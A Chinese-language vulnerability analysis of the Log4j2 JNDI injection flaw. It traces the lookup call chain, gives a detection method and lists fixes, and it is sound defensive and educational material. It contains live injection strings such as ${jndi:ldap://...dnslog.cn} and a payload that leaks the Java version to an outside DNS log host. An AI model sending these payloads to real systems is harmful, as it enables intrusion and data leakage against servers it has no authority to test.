背景
几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文。
log4j是被广泛使用的日志框架,这次漏洞原理就是通过JNDI注入。
影响范围:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1(1.x不受影响)
基础使用
我们以Maven项目为例,在pom.xml中导入log4j的依赖,这里选择2.14.0版本
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency>
通过"{}"占位符,来打印日志
package com.demo.sec.log4j; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2Test { private static final Logger LOGGER = LogManager.getLogger(); public static void main(String[] args) { String user = "bob"; LOGGER.error("{} is not exited!",user); } }
查看输出结果,就可以看到{}这里替换成了user的值
当然可以在打个断点,去看下是怎么处理{}替换成user的值,漏洞分析的时候会讲到。
漏洞分析
上面是最常用的日志记录方法了,log4j提供了Lookups的能力,我们可以查看官方文档
log4j的Lookups功能可以快速打印包括运行应用容器的docker属性,环境变量,日志事件,Java应用程序环境信息等内容。
LOGGER.error("Java version :{}","${java:version}");
查看输出结果,这边输出了JDK版本
这次漏洞的形成,是因为Log4j2组件中lookup功能的实现类JndiLookup的设计缺陷导致,这个类是在Log4j-core-xxx.jar,所以这个漏洞和Log4j-core有关
其实既然已经知道了最后调用JNDI的lookup方法,我们可以直接在JNDI的lookup方法打断点,查看执行链过程
JNDI lookup的方法调用在InitialContext.java中
写入下面代码,并且开启debug
LOGGER.error("${jndi:ldap://atf6sq.dnslog.cn}");
可以看到执行到了lookup方法中,传入的参数就是ldap://atf6sq.dnslog.cn
我们来看执行链过程
JndiLookup就是去调用了InitialContext.java中的lookup方法,其中的链如下:
JndiLookup.java: var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null); JndiManager.java: public T lookup(final String name) throws NamingException { return this.context.lookup(name); } Context.java: public Object lookup(String name) throws NamingException; InitialContext.java public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); } |
理清这部分后,我们来看StrSubstitutor这个类,前面我们说了Lookups有处理变量替换的能力。Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给StrSubstitutor这个类去处理。
我们先跟着调用链往前走,可以看到MessagePatternConverter这个类的format方法
1、首先是noLookups,这也是现在漏洞修复地方,让这个变量设置为true就不会往下走了
2、第二处if判断是否包含"$"和"{",如果存在就去replace()替换
3、config.getStrSubstitutor()就是上面说的StrSubstitutor
现在来StrSubstitutor看
首先将"${}"之间的内容提取出来,交给resolveVariable这个方法来处理,可以看到resolver中的内容,可以看到Lookups定义了12种处理类型,如果能匹配到这几种处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。
比如:
如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello。resolver会将第一个":"之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello**交给jdni的处理器JndiLookup去处理。
接下来Interpolator中lookup去处理,传入的信息debug已经标注了,最后用lookup.lookup也就是JNDI的lookup方法
漏洞检测方法
通过dnslog,还能查看jdk版本是否支持RMI或者ldap服务
${jndi:dns://${sys:java.version}.dnslog/} |
漏洞修复
1、升级到2.17.0版本及以上
2、设置jvm参数:-Dlog4j2.formatMsgNoLookups=true,设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
ps:
JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA
**漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。
招聘内推计划:涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位,简历投递sec#tuya.com,请注明来源。**